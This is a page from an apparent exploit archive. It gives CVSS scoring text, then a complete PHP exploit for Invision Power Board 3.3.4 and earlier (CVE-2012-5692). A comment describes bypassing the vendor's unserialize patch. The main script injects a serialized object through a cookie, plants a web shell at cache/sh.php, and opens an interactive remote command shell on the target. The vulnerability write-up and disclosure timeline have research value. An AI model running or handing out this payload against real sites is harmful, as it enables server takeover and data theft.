The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
<?php
/*
So this is the patch that sanitizes,
static public function safeUnserialize( $serialized )
{
// unserialize will return false for object declared with small cap o
// as well as if there is any ws between O and :
if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
{
if ( strpos( $serialized, 'O:' ) === false )
{
// the easy case, nothing to worry about
// let unserialize do the job
return @unserialize( $serialized );
}
else if ( ! preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized ) )
{
// in case we did have a string with O: in it,
// but it was not a true serialized object
return @unserialize( $serialized );
}
}
return false;
}
And this is what bypasses it ( By @i0n1c )
$payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}');
Which makes this an IPB 0day. lulz!
- webDEViL
*/
/*
----------------------------------------------------------------
Invision Power Board <= 3.3.4 "unserialize()" PHP Code Execution
----------------------------------------------------------------
author..............: Egidio Romano aka EgiX
mail................: n0b0d13s[at]gmail[dot]com
software link.......: http://www.invisionpower.com/
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php
4015. static public function get($name)
4016. {
4017. // Check internal data first
4018. if ( isset( self::$_cookiesSet[ $name ] ) )
4019. {
4020. return self::$_cookiesSet[ $name ];
4021. }
4022. else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) )
4023. {
4024. $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ];
4025.
4026. if ( substr( $_value, 0, 2 ) == 'a:' )
4027. {
4028. return unserialize( stripslashes( urldecode( $_value ) ) );
4029. }
The vulnerability is caused due to this method unserialize user input passed through cookies without a proper
sanitization. The only one check is done at line 4026, where is controlled that the serialized string starts
with 'a:', but this is not sufficient to prevent a "PHP Object Injection" because an attacker may send a
serialized string which represents an array of objects. This can be exploited to execute arbitrary PHP code
via the "__destruct()" method of the "dbMain" class, which calls the "writeDebugLog" method to write debug
info into a file. PHP code may be injected only through the $_SERVER['QUERY_STRING'] variable, for this
reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
[-] Disclosure timeline:
[21/10/2012] - Vulnerability discovered
[23/10/2012] - Vendor notified
[25/10/2012] - Patch released: http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-security-update
[25/10/2012] - CVE number requested
[29/10/2012] - Assigned CVE-2012-5692
[31/10/2012] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set('default_socket_timeout', 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
print "\n+-----------------------------------+";
print "\n| Invision Power Board 0day Exploit |";
print "\n+-----------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /ipb/\n";
die();
}
list($host, $path) = array($argv[1], $argv[2]);
$packet = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$_prefix = preg_match('/Cookie: (.+)session/', http_send($host, $packet), $m) ? $m[1] : '';
class db_driver_mysql
{
public $obj = array('use_debug_log' => 1, 'debug_log' => 'cache/sh.php');
}
# Super bypass by @i0n1c
$payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"cache/sh.php";}}}');
$phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>';
$packet = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$_prefix}member_id={$payload}\r\n";
$packet .= "Connection: close\r\n\r\n";
http_send($host, $packet);
$packet = "GET {$path}cache/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
if (preg_match('/<\?error/', http_send($host, $packet))) die("\n[-] short_open_tag disabled!\n");
while(1)
{
print "\nipb-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?>
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum